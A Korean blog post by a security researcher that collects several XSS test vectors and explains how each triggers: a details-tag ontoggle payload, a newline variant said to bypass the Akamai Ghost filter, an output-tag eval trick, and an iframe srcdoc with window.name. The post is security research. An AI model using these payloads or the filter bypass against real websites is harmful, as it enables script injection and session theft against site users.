XSS 테스트 벡터들 자주 찾아보곤(또는 공유받거나 눈에 걸리거나..) 하는데 최근에 포스팅 쓸만큼 특별한건 없었고 간단한 트릭정도 몇개 올라와서 정리해서 한번에 글 작성합니다.

details 태그 + ontoggle + open

details 태그에 open, ontoggle 속성을 이용해서 바로 스크립트 실행이 가능합니다. ontoggle은 details 태그 부분이 선택(?)되었을 때 트리거되는데, open 속성으로 바로 열 수 있어 즉시 트리거가 가능합니다.
(details 태그 그거에요.. 더보기, 아주 옜날에는 직접 만들어쓰셨겠지만, html5에 포함되어 이젠 태그로 쉽게 구현이 가능합니다.)

<dETAILS/open/onToGgle=a=prompt,a(45) x>

여담으로 태그 내 속성 구별 구간에서 개행문자 삽입 시 akamai ghost에서 필터링 패스할 수 있다고 하네요.

<!-- bypass Akamai Ghost -->
<dETAILS%0aopen%0aonToGgle%0a=a=prompt,a(45) x>

output 태그와 &NewLine;

처음에 새로운 방법인가 했는데, 결국은 onclick의 eval로 코드를 실행하는 형태입니다. 다만 눈여겨 볼껀 &NewLine;의 존재입니다.
(전 저렇게 쓰는거 첨봐서...)

<output name="jAvAsCriPt://&NewLine;\u0061ler&#116(1)" onclick="eval(name)">X</output>

XSS Payloads 쪽에 New Vector라고 올라와서 좀 의아했었는데, 다르분도 비슷하게 생각했더군요. 결국은 원작자도 트릭을 이야기한 것 뿐.


iframe srcdoc + window.name

마지막으로 요런 코드가 하나 나돌았었늗네요, iframe 가지고 약간 장난친 케이스입니다.

p.html
<script> window.name =`<script>alert(45)<\/script>`; document.location="./v.html" </script>

v.html
<iframe/onload=srcdoc=window.name > 

p.html에서 window.name에 실제 동작할 공격코드 저장 후 location이 바뀐 뒤 해당 페이지의 iframe에서 onload로 JS영역으로 흘린 후 srcdoc에 window.name에 있던 데이터(<script> 구문)을 넣어서 트리거합니다.

onload에서 이미 js 구무을 넘겼다느 점에선 XSS 삽입 부분에선 특이한게 없었고, 공격 코드를 다른 페이지에 두고 사용하는 방법 정도로 생각하심 될듯합니다.


댓글 없음:

댓글 쓰기